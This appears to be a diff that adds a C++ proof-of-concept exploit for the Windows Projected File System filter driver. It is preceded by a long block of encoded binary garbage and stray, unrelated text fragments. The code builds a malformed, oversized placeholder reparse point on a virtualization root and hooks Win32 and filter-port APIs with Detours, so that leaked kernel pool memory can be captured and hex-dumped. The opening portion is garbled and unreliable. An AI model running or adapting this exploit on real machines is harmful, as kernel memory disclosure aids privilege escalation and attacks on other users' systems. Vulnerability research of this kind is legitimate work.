z9T8W})GZ(%)YyDGV|H|Sm5Cu5j{z=%zUGL}HsXN{>_IoOvWu{5z3Z6KKr#+AGVz9M zr|xvfujEiiM|kG{(deL+XcE3@Ut8bBpDI(MnT?D4>;1AVMzHE^xY>2|oMe@ad3$Z6 zuldai+Ua1@Hq$g(g&nnc$Ie8GUu|-^W)%FElY#gF6HJUT8=~-73z{rk3S}&zvt5J4 zSffe63M02*;-{a|S5yy6c~`#XgKnnwp-7PUpXT*?m|AFt-7VDLkYGXNZ37ak2+Gtz+Yjz4uB4w=Dk%SPC^Evu{%5f1gw#Rza`mMo= zVdAnJ9NcN&&=733qt~#Ab|B)3UGLAqw0B54dgLEr3aC0@vHYq7AD|~Ccus8kMu0w5 z#cQJ$1afr7Up1H)jwsSc-h3^sXtUnK{}{R8d0_vXdKgbP)PsR^3bZ)PRdoCMVX0vt zf{h2Ly@_z1%9AOd6>C9&e1gt07swI`Pkfn$(fkFocVz9hNbVIsG#r2B3Q8ekqFe!X z;pfY5!`yJQS@W0h%+nR2EGc2J_?$qMsPK0g7*xQNE0+*qV;M@z2q?zRDInJ+$XYYNT2W7rtcF#pU6LPVamEv+)T@mxwqNMk|YS?7KZXQZ7F;QAVUP`zzrl5#&-&Z+R2n z`D*6D$VN>$fEXJz+ijk-#DF{3JfY0N%~e<3S4S=+d&zH&a}JS=n<11DfNwW5(Kz= z0TmY+xJC^x2kW9aS}oj#

ACCM!oK;)qxPgtE|+9_Gc@&1jYZ_XU=lrkCkC)?u8P zt<$CCy{Z&MFdMZXMl>hp4C333>2d{7GLGnIiH44c1V7*#ydAly0{Gau{uizNVy+VX zv=$I|2dOhPFpQ-4qXNMhx=h{lM~ji3nPE6>;Ko3GwVg$qVAk}4e(Byl(oU{3kklvC zRx7@W7I!fiC+dQvS^Z?^2-V(lP~PpCd|SA0^{CSC<_ob+^PnK}_W4w|7xVWk(dY|h z-R$|+wj6r^V$CA-@HgegG+cOggCS5WSz&=+Ai_=4o5y*@Fq#1gNJ7wPpg!Tl>i7*C%i%8FI7txpc zuip=COA)!E^=zdvw)vC>juk2%&ytM;Hf%MY&7= zeuE1I-HOS!t#G_Iy^BCofCjgPiP)7@`f*ooIX7k-Goaa?_KwWDfgGbKX#t|LDFFVPQTsuLF|g1GrnBd0RO(=qL2|7S6?vdA21BG zx(!1}eh7$l!T;YGV$3&6g^rkmy{nnMtAU!AqnV4|ALOO_Bn8Dkq2padt{xlzS7^bbjg3s;yWXt#FfG}{S+psviq+DQM|8TS!6CVa@>S;FWwbk+- zv}TT5-BVs{j*LzT<2hAFSsnDQnF)yU?zl`w4cS`elLeVRnMP*}k0SLq!&Pi<4l5|tZFR1cTRAqSL&;*E9+*%0v>gEJoJ7wTFyyLOa9pa-YNZPJakE;Qki z7<_~HdD#kNU8;j!Winlpc{D3uqI{rK$N@H8T`S5o@Rtj`dol_5D=E|5D;&et-r+fo9dtWE@rN-Z`m&YmY!>p>DKu6 z#m4_B@ATH}pXugr^fTkXFx;0ga$dy3*e>Hi0R|EtKKAozd&h<|0Q z|G|v^Z!l8+jUfNe#J>{G{y?z*H*i1wr-i>@X8r`S|5M_x)SACb{NntN#6Q7k|CIQv zU%=lbL +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "detours.h" +#pragma comment(lib, "detours.lib") + + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +static LPCWSTR gszPrjRootName = L"c:\\PrjTest"; +static LPCWSTR gszVirtRoot = L"c:\\PrjTest\\virtroot222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"; +static LPCWSTR gszNtVirtRoot = L"\\??\\c:\\PrjTest\\virtroot222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"; + + + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + //const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + const wchar_t* rootName = gszVirtRoot; + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //printf("PrjGetEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + //const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + const wchar_t* rootName = gszVirtRoot; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 0x18; + if ((unsigned __int16)(ReparseDataLength + 0x18) > 0x4000u) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + if (ReparseDataLength != (USHORT)(ReparseData->PlaceHolderRelPathLength + 0x11A)) { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 0x18)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength + 0x10); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + //USHORT RelPathLength = MAX_PATH; + USHORT RelPathLength = 0xfffe; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + memset(ReparseData, 'A', Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + //ReparseData->dwFlags = 0; + ReparseData->dwFlags = 0x10; + + if (RelPathLength) { + //memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + //wcscpy_s(ReparseData->szPlaceHolderRelPathBuffer, szRelPath); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("First PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +void PrintPool(char* Data, ULONG Size) { + + ULONG BlockSize = 0; + + while (Size > 0) { + _POOL_HEADER* Header = (_POOL_HEADER*)Data; + + if (Header->PoolTag != 0) { + char szTag[0x10] = { 0 }; + BlockSize = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, BlockSize); + + if (Size >= BlockSize) { + PrintOutput(Data, BlockSize); + } + } + else { + PrintOutput(Data, Size); + break; + } + + Data = Data + BlockSize; + Size = Size - BlockSize; + } + +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + +} + + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length)) + { + return 0x80004005; // E_FAIL + } + *pszLongPath = *pszLongPath2; + } + return 0; +} + +HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer) +{ + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15 + PCWSTR ErrorMessage; // rdi + HRESULT hr; // ebx + unsigned __int64 Length; // rcx MAPDST + ULONG Size; // ecx MAPDST + HANDLE FileHandle; // rax MAPDST + signed int LastError; // eax + unsigned int* EventDescriptor; // rdx + LPCWSTR hr64; // [rsp+40h] [rbp-49h] + LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF + PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF + + + Length = 0xFFFFFFFFFFFFFFFFui64; + hr64 = 0i64; + pszLongPath2 = 0i64; + ErrorMessage = 0i64; + FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64; + if (!pReparseDataBuffer) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_3; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64); + if (!ReparseDataBuffer) + { + ErrorMessage = L"Couldn't allocate memory for Reparse Data"; + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_3: + Size = 2; + return hr; + } + hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath); + if (hr < 0) + { + ErrorMessage = L"PrjpConstructLongPath failed"; + goto LABEL_21; + } + hr = 0; + FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + { + ErrorMessage = L"Failed to open file"; + goto LABEL_14; + } + if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT + { + ErrorMessage = L"Failed to get reparse point"; + LABEL_14: + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + LABEL_21: + free(ReparseDataBuffer); + if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64) + goto LABEL_25; + goto LABEL_24; + } + if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022) + { + ErrorMessage = L"Another Reparse Tag Encountered"; + hr = 0x8007112A; + goto LABEL_21; + } + *pReparseDataBuffer = ReparseDataBuffer; +LABEL_24: + CloseHandle(FileHandle); +LABEL_25: + + if (pszLongPath2) + free((void*)pszLongPath2); + if (hr >= 0) + return hr; + if (hr != 0x80071126) + goto LABEL_3; + + return hr; +} + + +struct __declspec(align(4)) _PRJ_COMMAND_BUFFER +{ + ULONG BufferLength; + int CmdType; + GUID VirtualizationInstanceID; + char Id[4]; + char StreamUuid[16]; + char StreamHandleUuid[16]; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + int Padding; + char Data[544]; + int RelPathOffset; + int RelPathLength; + int FilePathOffset; + int FilePathLength; + ULONG Pid; + int ProcessNameOffset; + int ProcessNameLength; + int Padding2; + WCHAR RelPathBuffer[1]; + WCHAR FilePathBuffer[1]; + WCHAR ProcessNameBuffer[1]; +}; + + +typedef BOOL(WINAPI* _GetQueuedCompletionStatus)( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds + ); + + +typedef BOOL(WINAPI* _DeviceIoControl)( + HANDLE hDevice, + DWORD dwIoControlCode, + LPVOID lpInBuffer, + DWORD nInBufferSize, + LPVOID lpOutBuffer, + DWORD nOutBufferSize, + LPDWORD lpBytesReturned, + LPOVERLAPPED lpOverlapped + ); + +typedef HRESULT (WINAPI* _FilterGetMessage)( + HANDLE hPort, + PFILTER_MESSAGE_HEADER lpMessageBuffer, + DWORD dwMessageBufferSize, + LPOVERLAPPED lpOverlapped +); + +_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL; +_DeviceIoControl TrueDeviceIoControl = NULL; +_FilterGetMessage TrueFilterGetMessage = NULL; + +char gLeakeddata[0x10000]; +ULONG gLeakeddDataLength = 0; + + +BOOL MyGetQueuedCompletionStatus( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds +) { + BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds); + + if (bResult) { + _PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER)); + ULONG RelPathLength = CommandBuffer->RelPathLength; + ULONG RelPathOffset = CommandBuffer->RelPathOffset; + ULONG LeakedDataOffset = 0x4e; + + if (CommandBuffer->CmdType == 1 && RelPathLength > 0) { + char* RelBuffer = (char*)CommandBuffer + RelPathOffset; + + char* Leakeddata = RelBuffer + LeakedDataOffset; + ULONG LeakeddDataLength = RelPathLength - LeakedDataOffset; + + memcpy(gLeakeddata, Leakeddata, LeakeddDataLength); + gLeakeddDataLength = LeakeddDataLength; + } + } + + return bResult; +} +DWORD gdwMessageBufferSize = 0x20000; +char* glpOverlapped = (char*)malloc(gdwMessageBufferSize); + +HRESULT MyFilterGetMessage( + HANDLE hPort, + PFILTER_MESSAGE_HEADER lpMessageBuffer, + DWORD dwMessageBufferSize, + LPOVERLAPPED lpOverlapped) +{ + if (gLeakeddDataLength == 0) { + memset(glpOverlapped, 0, gdwMessageBufferSize); + HRESULT hr = TrueFilterGetMessage(hPort, (PFILTER_MESSAGE_HEADER)(glpOverlapped + 0x20), gdwMessageBufferSize - 0x20, (LPOVERLAPPED)glpOverlapped); + memcpy(lpOverlapped, glpOverlapped, dwMessageBufferSize + 0x20); + return hr; + } + else { + return TrueFilterGetMessage(hPort, (PFILTER_MESSAGE_HEADER)(glpOverlapped + 0x20), gdwMessageBufferSize - 0x20, (LPOVERLAPPED)glpOverlapped); + } +} + +BOOL MyDeviceIoControl( + HANDLE hDevice, + DWORD dwIoControlCode, + LPVOID lpInBuffer, + DWORD nInBufferSize, + LPVOID lpOutBuffer, + DWORD nOutBufferSize, + LPDWORD lpBytesReturned, + LPOVERLAPPED lpOverlapped +) { + BOOL bResult = TrueDeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped); + + if (dwIoControlCode == 0x900A8u) { + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)lpOutBuffer; + ReparseDataBuffer->ReparseData.PlaceHolderRelPathLength = 0; + } + return bResult; +} + +void LoadHook() { + + TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus"); + TrueDeviceIoControl = (_DeviceIoControl)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "DeviceIoControl"); + TrueFilterGetMessage = (_FilterGetMessage)GetProcAddress(GetModuleHandleA("FltLib.dll"), "FilterGetMessage"); + + LONG error; + DetourRestoreAfterWith(); + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus); + DetourAttach(&(PVOID&)TrueDeviceIoControl, MyDeviceIoControl); + DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage); + + error = DetourTransactionCommit(); + + if (error == NO_ERROR) { + printf("Detoured GetQueuedCompletionStatus(), DeviceIoControl(), FilterGetMessage()\n"); + } + else { + printf("Error detouring GetQueuedCompletionStatus() or DeviceIoControl() or FilterGetMessage(): %d\n", error); + } +} + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +void Run() { + BOOL bResult = FALSE; + HRESULT hr = 0; + USHORT Length = 0; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + _PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL; + + CreateDirectoryW(gszPrjRootName, nullptr); + RemoveDirectoryW(gszVirtRoot); + + ReparseData = CreateReparseData(L"", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, gszNtVirtRoot, ReparseData, Length, 0x9000001C, true); + hr = PrjpReadReparsePoint(gszVirtRoot, &pReparseDataBuffer); + + LoadHook(); + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + PortInit(); + + RemoveDirectoryW(gszVirtRoot); + + while (gLeakeddDataLength == 0) { + Sleep(1); + } + + printf("\nLeaked length = 0x%x\n", gLeakeddDataLength); + PrintPoolHeader((_POOL_HEADER*)gLeakeddata); + PrintOutput(gLeakeddata, gLeakeddDataLength); + + getchar(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + Run(); + + return 0; +} \ No newline at end of file